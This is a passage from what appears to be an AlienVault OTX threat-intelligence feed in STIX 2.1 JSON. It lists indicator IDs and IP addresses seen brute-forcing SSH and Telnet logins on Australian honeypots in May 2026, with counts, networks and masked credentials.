        "indicator--d70255d2-0417-4598-a285-840f5b6985b2",
        "indicator--f5aca36b-3f10-4289-87c4-529ec8aa4451",
        "indicator--42ac34d5-2fbc-4c0c-add6-a4e16a2e04e7",
        "indicator--067bd8ee-ed50-46c9-946c-a34c3e380127",
        "indicator--6b18c3d5-7b88-4185-adbb-67d00f9f094b",
        "indicator--11e7930d-a5b9-4a99-b8c5-6b1a1990954a",
        "indicator--c20f3ec1-942f-42d3-8e92-c76d6ed449fc",
        "indicator--fa48d875-9a58-4cff-8239-7a1959b3765d",
        "indicator--fea23222-7449-4314-9dc8-b339683fa8a0",
        "indicator--e3f6b35d-0da5-46f8-a7e3-7a93ca209fcd",
        "indicator--55fd752f-e0ba-4ff3-b5c5-3084bab81f33",
        "indicator--3c2656b5-15a2-4939-8e90-1a214af6f306",
        "indicator--9514a909-c0be-4671-acb7-f0db7439a184",
        "indicator--d030e01a-8585-4d63-b4c3-125b6fdff8fa",
        "indicator--fb44fe46-2cc1-4670-8b0a-175b66233d37",
        "indicator--22629d47-4ee1-444b-a3f7-61273ff94c1a",
        "indicator--469b71d2-c00a-4af7-a29e-3c5f915e5b7f",
        "indicator--9c2acdde-925e-4cd9-bfc2-a30515d4073b",
        "indicator--35467b4e-3a44-4d9e-bdc8-07c40d340b33",
        "indicator--c48b0196-19ce-4bcc-a5bb-355a089ceda6",
        "indicator--5e89ca11-b5e9-4419-9e29-9a3855863ab0",
        "indicator--298b6a77-5554-4d37-a3f6-43e023337b8b",
        "indicator--264e94d6-c1ac-4eda-af81-4e7a97c80156",
        "indicator--fedbd0d6-6b4a-4fee-81e0-60f18837bf95",
        "indicator--31e5e9dd-d96a-433c-9363-f76fd3fd8267",
        "indicator--78ad732f-b898-4ac2-af4f-97aa1fb02e56",
        "indicator--346f4f11-7f73-49f4-b713-f89870d695ec",
        "indicator--816765b9-ea5d-45ce-9e96-8519723599cf",
        "indicator--68fd6af7-3e02-40e5-9e42-63a0448e8c85",
        "indicator--ac3de328-67c1-4a89-ae42-bb8c381e94a0",
        "indicator--bbc5e312-87a8-48b1-a232-80c7bd3b50bd",
        "indicator--d9229eb4-1fd3-4efa-9810-8f8a5d7e1328",
        "indicator--07ac6dba-1093-4d2b-a2d4-f9bc0dc40c24",
        "indicator--9c4233d8-2a1f-40fb-9663-00810f91c9ba",
        "indicator--5c436023-d0d9-4aa1-933c-df5d806eb181",
        "indicator--b25076af-f76b-4c37-a8fe-0384aeca436d",
        "indicator--48204ce8-f537-435d-a4b9-e1d6acd1cc13",
        "indicator--9514619b-75da-43c8-b8da-e24eae73514d",
        "indicator--9d0a3f9c-345c-48f5-9f90-bb0e39a37a12",
        "indicator--83a3668a-6a1c-4227-b242-746f85d296ff",
        "indicator--b5ac6f88-c23c-4828-b614-e63cd5d39ce2",
        "indicator--fbbcf434-29eb-49cc-9b25-a632292eeea1",
        "indicator--cf3b3488-aee1-4b34-9b55-4d9ce7a2ed15",
        "indicator--72bc7f85-e2b4-4acb-b3be-d4688b4f4a43",
        "indicator--345f0150-1db5-4469-9f83-47a06c8daa89",
        "indicator--c9395e8a-d035-4e28-9549-4cfc15ab8edf",
        "indicator--55b51e36-f9d4-4c23-8c71-d4bdcb63fa2c",
        "indicator--35e0632d-fc53-4638-8a10-f02c9b4e8225",
        "indicator--9d677f47-cf7e-4068-83ee-41c23e4b3802",
        "indicator--59ffdf58-4ac8-4b4f-84a0-c8a2d6c95f9b",
        "indicator--d3dbc73b-69b4-4219-9d1b-361bb35cdfbd",
        "indicator--cb7a0110-f05b-4f93-a11b-2785bdf6ebbf",
        "indicator--939de982-ef8e-49fe-88f2-ac07e580ef32",
        "indicator--f7cc5953-92ff-4318-a043-cc0424e31f9f",
        "indicator--03652da4-585f-4eb5-be6d-4c9ae4571262",
        "indicator--f0210a51-3ca6-4748-a7d0-d5e5b740a9ee",
        "indicator--092ced31-ee28-4c4b-a00e-ebf856b31d3e",
        "indicator--cd2807bc-d84e-4d86-882a-9fb6bf166198",
        "indicator--219ef68c-9c34-43c9-94d9-350baaf6759d",
        "indicator--b064f886-4ce3-40b7-9a6c-e6b120071ded",
        "indicator--134db202-a58c-430f-832c-dc0095cc1b0f",
        "indicator--442ebf7a-e6f7-4154-a9db-2a212641da73",
        "indicator--746133ee-5f06-41f4-94c8-4f90091ca3c3",
        "indicator--ccfba3eb-07d1-4476-90b6-c4e17202d5c4",
        "indicator--4d6ef6e2-870c-4311-984f-68e1d3839a10",
        "indicator--2d87235a-a23c-4f58-a124-8f1999b6f332",
        "indicator--12cfe19c-a4e4-4f9e-81c0-31de5d1fc742",
        "indicator--ea7ca4bd-35f3-45cd-bccf-4039545ed2e6",
        "indicator--a337b78e-7767-446a-8fe2-229983b1c5b3",
        "indicator--c8110154-d086-448e-b26d-7128a1fe54e8",
        "indicator--a9519e4f-b636-41a4-be54-e464e5749257",
        "indicator--39476a0e-baca-4777-9be6-94b3c75704be",
        "indicator--dce4b689-9670-486c-8bce-f9ac4be54acc",
        "indicator--b72d06e5-8e94-449f-9587-0f6f1905d0b2",
        "indicator--8faf41d9-109b-4e6c-9c60-4c5282dce1e5",
        "indicator--118e8377-bd5d-4a14-ba12-f7c7d13ff21c",
        "indicator--ace00155-a810-4b93-b3fa-60c5941a80ca",
        "indicator--60d605e3-6242-41c2-ab64-50e43c639e7d",
        "indicator--26d151bc-3ebd-4dec-a8d8-5332ce690d74",
        "indicator--4e861962-a64a-4c4c-b285-0ecc9b9a0e89",
        "indicator--8d65c3b1-0f14-496c-9a37-b8377847e88a",
        "indicator--7219aad9-dbc3-4ce3-8388-561beee46175",
        "indicator--0480ab94-3f33-4bfd-9516-db99d5d5426f",
        "indicator--aa2aac1a-b54e-4e77-8799-3c2c813de9d9",
        "indicator--85625240-2d98-44a1-873e-f2f3e0637254",
        "indicator--3c6c0ba7-6557-4aba-a596-c2d8c6d335f3",
        "indicator--4cc12286-fff9-467e-beef-68bf8702fb07",
        "indicator--f0c1d63c-aa3f-4bca-b37d-e16453a4da87",
        "indicator--a72e5282-8261-471e-a2be-bee07bc37079",
        "indicator--c973eab3-5e73-4597-bbc8-008eabf8d9da",
        "indicator--3a6a37a2-13a5-411c-9673-0cb15aaf9fd5",
        "indicator--67eaafe4-9327-4bab-a6d1-bac484ded4fb",
        "indicator--89d5618b-18f6-47a8-b466-029af457a5ed",
        "indicator--c8572fe8-f471-46e4-929b-6ed19912c6a1",
        "indicator--d3bf6b6e-9e2c-4fed-a01d-d46edb84b2e6",
        "indicator--b8766a1c-678e-4d29-8206-4dfdb090315e",
        "indicator--4dbfc6f2-e04e-4735-b150-9c55e9a5fec1",
        "indicator--21364e6d-5a6b-481f-b0bc-08257295f338",
        "indicator--7e9e4bd7-0420-4bda-8f0b-b69032e77a42",
        "indicator--e6203572-dd8b-4a06-ad8b-924f459eb729",
        "indicator--f37a188d-cf8b-4d18-90eb-ebc933eaf9dc",
        "indicator--92def596-2f7d-42a5-b89b-89bdbd5333a4",
        "indicator--4f875b36-2c3b-4e1a-8dfe-0a9eca09859a",
        "indicator--ddf6fa4c-7c88-4d72-a735-e7d27d7536c2",
        "indicator--078ffbe9-faca-4d3c-a6dc-3a9d6bab0645",
        "indicator--7285cdfc-3798-4491-a48a-d2cbb007e4b1",
        "indicator--671bcb33-b8da-4599-b015-f994e79c2cc2",
        "indicator--8d8470ef-5b51-43a8-aebe-6791c86dfffb",
        "indicator--2a22df71-ce90-4a0d-9857-33a62ffb9fab",
        "indicator--d186c170-ab7f-4f05-92a0-c5b23de03116",
        "indicator--2621e0a5-f16c-4394-97af-112545d1ddc4",
        "indicator--fad10b5d-2103-4e88-b106-502ea4ccef47",
        "indicator--0d1e9eb7-fd64-421b-9ca5-07f306785143",
        "indicator--439f5406-d18a-4627-8f26-828da114dfde",
        "indicator--324075ff-1f9c-48d1-be1f-59acd3aace6a",
        "indicator--c397393b-ca6f-4525-b979-2463355a96b6",
        "indicator--d7091c15-9756-4fc5-8361-119083ecb1e7",
        "indicator--097f01e7-bfeb-4514-9316-c5528b7603c0",
        "indicator--76fea263-306f-4c9f-9b5c-528ae83fda62",
        "indicator--b6e77935-fe41-4da6-97f6-f7f5fd89c3be",
        "indicator--5b3ed9cf-9478-47d5-97c8-216b5202362e",
        "indicator--25152c2b-2425-4dff-aa0b-b2b585c2c752",
        "indicator--c1aad864-ceae-4c20-90ca-24f059b09bde",
        "indicator--83328c2e-00a3-406d-8f49-56c4be4ad555",
        "indicator--8e0542b4-82df-43c8-8bd6-d38287d8a23d",
        "indicator--8ad2f87f-4d60-4b68-a52b-c1b60055ea0a",
        "indicator--2e6a70ce-99c9-4e33-81d2-05d33613a9f7",
        "indicator--8b95b9f0-1572-47ce-931e-2b9c2d957ab0",
        "indicator--4ec87d57-edd7-4619-a4ae-60a980d4b745",
        "indicator--b025e05e-243c-443f-9e6c-bbf705fe47c7",
        "indicator--57c62b15-edf0-450d-949d-fa7aeb6a02c3",
        "indicator--9e73b4ad-3967-486d-b989-212c850a96bb",
        "indicator--20e48f18-40cf-4079-9636-91f31bdf7249",
        "indicator--6ced2f04-bbd4-4919-b20f-0789fbf47a95",
        "indicator--f27bd1e2-3555-4a68-b7ed-2e1cd1d3f625",
        "indicator--a2f4a37a-f2b0-4310-89ba-693972755e6e",
        "indicator--ec5031d5-b574-45dc-b7db-268332d6930a",
        "indicator--73157234-3a79-4fcb-a43a-d81a52aa3939",
        "indicator--b5457fa5-7551-4488-919c-fa42187c3727",
        "indicator--9063ef21-ac7b-460e-9041-b835c225589a",
        "indicator--454ee547-faf1-47df-959d-9ee6132a5b7e",
        "indicator--1a81e6c5-e4ac-4084-ab0d-7ff87ac86aff",
        "indicator--80f5a9bc-9b7c-4045-aad5-adf58718e4fe",
        "indicator--8bf89f46-6ca4-4651-ba9d-2dfeab4e8946",
        "indicator--ec3eb39c-144a-4505-8666-872ac09d32c3",
        "indicator--ae032112-d180-48d6-891e-b25b56c74d22",
        "indicator--b8c77347-c89d-47f6-96df-ff7f28244a66",
        "indicator--0176a23a-4502-4233-82b5-00c7d19b71d0",
        "indicator--fed2ad95-cbaa-4956-a2ba-31f9748c76c2",
        "indicator--0ebfe113-cc1d-44a0-9ea4-0dc94ede62e4",
        "indicator--bb7f5ee0-f2f7-48fa-9d9e-992148ec4407",
        "indicator--5857c603-c1a9-4cf4-9e82-99f0c4c79874",
        "indicator--05dbacde-ec76-4bef-97c6-74308596c4c2",
        "indicator--24becb4f-22af-4029-b6c5-e1887fb8828f",
        "indicator--6615545e-8b92-4f5c-b90c-94df9b04b1d5",
        "indicator--50ebd651-d181-41b4-9a0f-69c3f3a6c019",
        "indicator--f79af0d8-4f98-4203-ad3a-c7f966a07c45",
        "indicator--9879c26d-66da-47e0-9fdb-2dcce246e52c",
        "indicator--af18baea-981f-4bec-a065-14fd94f65be9",
        "indicator--6591cca5-78ce-41bd-b812-055eced05f0e",
        "indicator--a309a025-7d69-4f75-a789-db61c5fa3b08",
        "indicator--fcf07951-a268-4df4-aac3-519061c41eef",
        "indicator--bb6f4ee2-d9f2-4ceb-b214-1200ae4b9122",
        "indicator--069530ca-bdeb-4708-8ec4-5d27c5178f68",
        "indicator--6e04d088-e415-40b7-89fe-e41479ba88e1",
        "indicator--23508d90-2f1f-4320-bde6-380ea3eb0ff2",
        "indicator--321262c9-e4d5-4fd5-a7c3-f9fdfbb77a4a",
        "indicator--101ce3df-9cd3-43da-bcaa-01526fefb5a0",
        "indicator--65a3880b-fd18-4a52-8d65-09e3cba6fbdd",
        "indicator--ef2877a9-9266-4774-b2db-5fc3db3bec66",
        "indicator--443715a2-d0f5-4548-bf3c-0eb7237213ed",
        "indicator--2db97240-be95-4b38-98db-655847989640",
        "indicator--f40acf65-4421-482b-b598-bdcc65bcf7c1",
        "indicator--85f42d31-85e1-451c-8eea-a46673b7a457",
        "indicator--0f7f2ed9-0536-4675-a2bb-0d16eabc8cc2",
        "indicator--0ba0f82c-e6f3-4857-8df1-6ebe254033d7",
        "indicator--1a27a824-ae81-4649-893f-33f1f1b7c076",
        "indicator--867ebcba-c75a-4bdb-a5cf-d315a66ceeb6",
        "indicator--ad9dc5b9-a277-47bb-a946-1feea0883cec",
        "indicator--424bb64b-2e9a-47ea-a5f3-c0cd19220fb1",
        "indicator--daf95534-54c9-4d29-bd22-ed8c47f97656",
        "indicator--5319200b-32e5-41be-a455-a74753ef931e",
        "indicator--76f5843d-03e0-4619-98b8-c904fffd5b72",
        "indicator--549be951-c053-4a8c-982b-479a8788b516",
        "indicator--9966f775-990c-4a57-b09f-703ba8ed2938",
        "indicator--3def49e6-22df-4471-afd7-26ca26cc8557",
        "indicator--809a4329-9ebb-4611-92c4-948462e2d1e2",
        "indicator--256bffd8-3fb7-4009-bedc-d6124af85816",
        "indicator--6df2dd25-e6c9-414e-a3e0-f627324a931a",
        "indicator--54c97d8c-fba7-425e-9ba8-1a1483ee8125",
        "indicator--e1b68d4c-618c-4630-86d2-1715a63d3349",
        "indicator--73820b01-5d6c-4c78-b7ae-7bcccc8439a1",
        "indicator--7e342198-3e3e-491f-9bcb-9c8dd462307b",
        "indicator--cd84cdf4-0f4a-4540-afa0-f62a2db647cc",
        "indicator--42c2b2a9-b900-4d45-ac70-8446121a47c6",
        "indicator--78d7d8cb-7bd1-48b5-85ed-5777ffcb67f6",
        "indicator--9bb89b28-5559-4c40-bcba-f96941d7fdf4",
        "indicator--d9a069b3-b048-47c9-bda5-8dbf1c9432ef",
        "indicator--e1fb5dab-97cf-4c69-9b0e-0d69a287eb65",
        "indicator--724268ff-d625-4a2c-83f3-e7c0cd3da1f1",
        "indicator--d51de32e-993d-40ad-ae5f-20cba884f299",
        "indicator--6e18d657-dcc9-4443-876c-633fa85c1bc3",
        "indicator--74d77a33-2b46-47c0-a693-6333bdd2d1f7",
        "indicator--47934f9a-9208-4c4a-9354-2b85db9dfdeb",
        "indicator--70983cb6-75ec-4abc-a62d-1df97253a42c",
        "indicator--0a0a2b90-17e8-4c8e-8825-2acfe72b6cf5",
        "indicator--ba686c09-640d-4984-a6a6-2419e64cfa6d",
        "indicator--aeb67b62-6e99-40ea-a107-e898baf48044",
        "indicator--5d33625e-0929-437f-a2c4-6ee9f7071656",
        "indicator--e37a480f-becd-4f0f-adbf-476ce0795598",
        "indicator--578cf3e0-731b-44f4-8f7a-861b74aa0164",
        "indicator--8d6c41f0-b5af-4e18-894d-38eb3107f601",
        "indicator--b297636c-0f74-49cd-a1d8-791dd705db74",
        "indicator--8dbe5872-f1a3-4f7d-8797-5a8d5140c418",
        "indicator--196d309e-89be-4782-be78-21a43bb8bb9b",
        "indicator--4e37d630-8670-4057-84dc-218459ff9790",
        "indicator--4411eabb-fa2a-42cc-8a44-d125e4d48c0d",
        "indicator--50098261-9ac9-4741-9e21-ef73a197db11",
        "indicator--8feb473a-fe0a-45fd-9ef9-c2dd01605709",
        "indicator--fdc493de-5e5f-4e67-be90-b3adcf5bbc7d",
        "indicator--16f9851c-e38d-47cf-9d89-28f11fd36141",
        "indicator--cbbd9227-46c0-4778-811f-655c5f87fbaa",
        "indicator--53b4c67a-b0fe-4fbf-96b1-22aa163c9431",
        "indicator--4876e5e2-4a29-4221-aef1-1c4543feec36",
        "indicator--721563e7-15f7-4ecc-b74a-c79b712e9d58",
        "indicator--34f775a6-4e21-4d12-9183-1b8eee83ab37",
        "indicator--294f9dc1-5a52-4ab3-82e3-e12e36e3fa84",
        "indicator--69103f7f-8bb8-4320-8f31-23d8d237ff1e",
        "indicator--a6ded0c9-859f-4877-bf7d-0fcc3680e0f9",
        "indicator--ea400b58-b269-4c77-82b7-da5fa2e3a827",
        "indicator--a028cec0-7923-4bf7-9129-147800ea6eeb",
        "indicator--772b4d67-5dce-4d92-ac4d-b4c0f685b6e7",
        "indicator--657ed4f4-f8ec-4081-b1db-16db402a56d5",
        "indicator--ab42f6bc-559a-4bdb-9d60-36255a4c77a0",
        "indicator--904ff349-5cb8-4e26-a7a8-d339bef9bd15",
        "indicator--4851eafb-9065-4d4f-9f87-ec0060dbbe86",
        "indicator--a036bee7-d66e-48d6-95b0-9b4353c19c45",
        "indicator--0f3457ef-d25a-4b1a-bbf6-8a5e2d068967",
        "indicator--12475445-6c14-4087-93af-8472f205c140",
        "indicator--36998af2-8892-4ebb-af09-1ffdaa1d4c4b",
        "indicator--0d5389df-6292-4369-a4eb-14062f5e6478",
        "indicator--ff7c6c6c-6f15-4a73-b045-61340e4fc2b3",
        "indicator--13aefd73-0508-4f21-98fe-6923ccf81efe",
        "indicator--7f31cc57-e443-442e-ab8c-59a679574cde",
        "indicator--c33d1a6c-958b-4152-8eec-e8b17bdc9b47",
        "indicator--6c8180d0-0f9f-4848-8b72-308ef7ae9a7a",
        "indicator--ee670af7-0c5f-4f0a-bcac-256650b1fb5e",
        "indicator--819ca6b8-7ef0-4a10-8afe-c50076ce4d4a",
        "indicator--fd7693ec-a140-4b7a-8f6c-c4dbd220ca52",
        "indicator--e0760ce2-ab4e-4347-8360-1c78d96daa34",
        "indicator--77a71d90-e787-4000-adac-d08f1745850a",
        "indicator--298db777-dd16-4761-b0f1-adce80acb205",
        "indicator--0f435acc-7d64-425f-a781-822edd92ecdf",
        "indicator--07ae4139-8d27-48f6-8ce0-a93b59b83198",
        "indicator--02b59f5a-db7c-438d-8f5d-8a865e505153",
        "indicator--01b56705-1ec8-4966-aa78-17a95c141694",
        "indicator--03be7bd4-b2c6-4c0f-b30b-47cb5ac475e5",
        "indicator--cc563757-fc72-4fce-9f97-517309a678b7",
        "indicator--dc870592-6ff2-45cc-acec-13035fa1f19a",
        "indicator--624fcbd0-50a8-4171-ae08-109de91245dd",
        "indicator--66b2d4e1-2b9b-4172-b2d2-801aba69b9fb",
        "indicator--6169aa37-4c72-4f68-b5d5-88ff2f18837b",
        "indicator--f7304f5a-649f-4810-8651-960c127be05e",
        "indicator--11aaef3e-48c5-41b0-a835-d22fa20bb1bd",
        "indicator--97dd08ac-95e8-4398-a916-c6ed2871fb42",
        "indicator--7afc44e3-367f-4fd8-bce4-bb415407df84",
        "indicator--3b168337-df6e-4869-92e2-2288cb622d57",
        "indicator--34328b35-514d-4978-b176-2c06ba73b75a",
        "indicator--e37fc4d0-464d-4792-9b2b-c7b05190ee6a",
        "indicator--4b355d74-0433-400b-9b8a-cab27dabb4da",
        "indicator--d91d1429-aa1c-442a-a537-15e2fdf3a15a",
        "indicator--aefeb346-3057-44a5-a55d-f13b43a69512",
        "indicator--47de9b01-0ffe-4d87-83e9-13496c534a6f",
        "indicator--b9f7380b-6335-43f7-ae4d-0faa1019c8ac",
        "indicator--4d807695-6485-491b-ae33-cd98e8c54e70",
        "indicator--bed5c877-554e-41e2-929b-f3780ffd1b6f",
        "indicator--4327c0c6-f72f-4268-ac5c-28cfded5cb35",
        "indicator--c8d7f83e-5f8d-42ba-99ed-cdb3b5ded5c8",
        "indicator--7b65b897-3335-4dd4-b1ea-587c6588022f",
        "indicator--5d613ae2-70a7-4291-a123-ae71144a5c1f",
        "indicator--f081ad1c-7d89-4bcd-ae92-a05a2511d8b6",
        "indicator--6904351b-b4ba-46b2-8aa3-0a9879d78adf",
        "indicator--c879b01d-5f98-4e15-b0d1-1dfb0fdfeab0",
        "indicator--d7657e8a-ec7f-40ac-9134-cd0ff1ef273d",
        "indicator--c956e339-71a1-43ca-8cc4-5649516ca7e0",
        "indicator--4b948c81-7de6-41a6-a43e-0f65c2a81539",
        "indicator--191cecb6-00c0-4c7c-9cec-033da4b84a08",
        "indicator--8cb75114-e943-48ca-84b5-2c352382f15e",
        "indicator--9d95e6f1-545c-41ba-a693-c8c6f2047e83",
        "indicator--4d7a3bbf-77db-47fc-b02e-9e71664759e3",
        "indicator--5c3006ec-fe96-434c-b762-096789bc4682",
        "indicator--889d01bc-c7a5-4179-be83-7022715816be",
        "indicator--50a8de5f-3d07-4bd2-984e-d5c97d575021",
        "indicator--20377878-bc65-4184-9d14-b9a1578fa742",
        "indicator--5af52d50-f091-4491-aa16-f1c2598114c8",
        "indicator--0568b7d7-c1b8-419d-a622-1bce729be4c0",
        "indicator--c3d9d477-7d44-4e1d-9d88-5bf685a9e2f2",
        "indicator--2878dede-2238-4cdf-9ef0-53b7d6c54cb5",
        "indicator--28150a4e-e987-4267-b049-aa383c553f92",
        "indicator--613f32c3-9a81-47b3-93d1-76340a2b3c61",
        "indicator--2d658832-ae84-43d4-81ca-a58b7b15785f",
        "indicator--c8b08d39-20f4-4fec-a66b-288554b6b54a",
        "indicator--ba3ba34c-000b-4c00-a9a7-bc83b855df25",
        "indicator--b4d7a04b-1d16-49db-a2e8-362f32ccbe47",
        "indicator--a9dcda7e-d0ec-4a0c-9232-249f5e7113bd",
        "indicator--4e477ebd-2158-4d36-8e12-8d8328ed77e3",
        "indicator--7235717b-93c6-4b20-b90d-269ced2b4d10",
        "indicator--4b96e46f-275e-4ebf-8164-fd507ddb0e62",
        "indicator--a7f65431-61d2-4089-b4e3-e1ac3e954b7f",
        "indicator--c8d651ff-f314-47a7-a796-63e748fa23ee",
        "indicator--39c610c8-1f2a-43ff-9bfb-a11c4d83fbcd",
        "indicator--07e63e71-917c-4bc0-8983-5ceeb7eb16e9",
        "indicator--6440c52a-a2b8-4954-ab8d-b0fa18a4a67a",
        "indicator--11e5d298-8410-47e2-ae75-f7cecdc1a8cf",
        "indicator--304664cd-35ee-4647-ac48-343b8ae82d46",
        "indicator--2fddf44e-b3cd-4d64-8259-0e8f62efd4e0",
        "indicator--aecf776a-915f-4728-ad57-9ccf8fe75aed",
        "indicator--cc215133-f976-412d-8b94-caf5d22e63a6",
        "indicator--05ad8105-7c60-4c02-8a66-0580971d3098",
        "indicator--c63a619f-57d4-46c0-b35d-8af85bd1a1af",
        "indicator--dffbba2f-67db-441a-863d-8cfd2f582391",
        "indicator--57e1dcf4-63a8-4fd0-8946-d866e2e14e26",
        "indicator--51ed15da-9a4b-48a6-9afe-b260c556c570",
        "indicator--5e0aa361-3cc5-4e8f-a665-801b33792136",
        "indicator--b85aa19b-4039-4ffb-952c-bda891541f82",
        "indicator--3772c7d7-6321-4d20-a55c-1ac64de262be",
        "indicator--1b96735c-8385-4f1b-bfde-9233d7840c95",
        "indicator--6d7339ea-2eb1-42c0-aecf-272fe33a4da9",
        "indicator--c2ced06f-6695-4f15-aa8b-a10fac539fe9",
        "indicator--d4576d5b-560a-4133-968e-d9b92df71636",
        "indicator--ed51184b-dc68-4791-8f6e-48fc617ec436",
        "indicator--eaf11eb5-cd23-4086-9a5c-6c2c1b299be4",
        "indicator--3ca483d1-9d9b-4e99-9237-f508e11d97fc",
        "indicator--09f3b099-11d2-4e4b-9998-6a76c90c8742",
        "indicator--59a229bd-1168-4c30-bd0a-52ab85a37c0c",
        "indicator--f4bda5e9-88a5-4a48-8d78-beabf13e8c70",
        "indicator--c4458e6a-ed49-48a4-aa45-0d00e9cae839",
        "indicator--c5440a5f-4019-46a7-bff9-babac0f659d0",
        "indicator--4556e99e-df0d-4d9e-9738-2c01c944da4c",
        "indicator--ebb484b0-1103-40dc-9b3c-f2b7f88ee94e",
        "indicator--d6870978-89a5-49a3-84ff-0d34fcce31db",
        "indicator--54a92170-131a-4860-af6c-1facdc824fb7",
        "indicator--f9295c99-0fc5-4a81-ac7e-898e6211d4db",
        "indicator--ca897550-f12d-4d57-8dbb-8e8eb99b0d1f",
        "indicator--e51278c9-5d79-4ac7-b676-150521a6e9e8",
        "indicator--e6780363-61fd-4953-a4e9-c3cef89a5bd2",
        "indicator--47b9930b-d416-4c8b-bc8e-af608313d197",
        "indicator--491d74e8-26da-4cb8-afdd-04682582844e",
        "indicator--331fc035-f867-446e-9646-0ccb78787490"
      ],
      "published": "2026-05-01T00:15:28.874Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-05-01T00:15:28.874Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-05-01T00:15:28.874Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 147181. Organisation(s): Flarezen Ltd..",
      "id": "indicator--f0e21e54-f31d-4973-bd59-febe882a0168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.174.51.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 38719. Organisation(s): Dreamscape Networks Limited.",
      "id": "indicator--703c77df-c0aa-4890-880a-5370c5a488f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.0.23.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--8cb08f07-f772-4023-afbe-d8830c6df74b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.209.129.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--023793cb-2598-4702-ad5e-6cedd88935ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '13.92.135.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): u****u. Passwords observed (masked): u******2.",
      "id": "indicator--db32ec0e-d05d-466a-8b0c-594682ed7888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.107.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Usernames observed (masked): r**t, h**e, x********i. Passwords observed (masked): Y***a@hrbeu.edu.cn, h**e, x********i, z**n, S*******6.",
      "id": "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 274255. Organisation(s): M&S.NET, C.A..",
      "id": "indicator--387d29c6-2bc4-493f-8254-c19bf03e5716",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.3.77.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
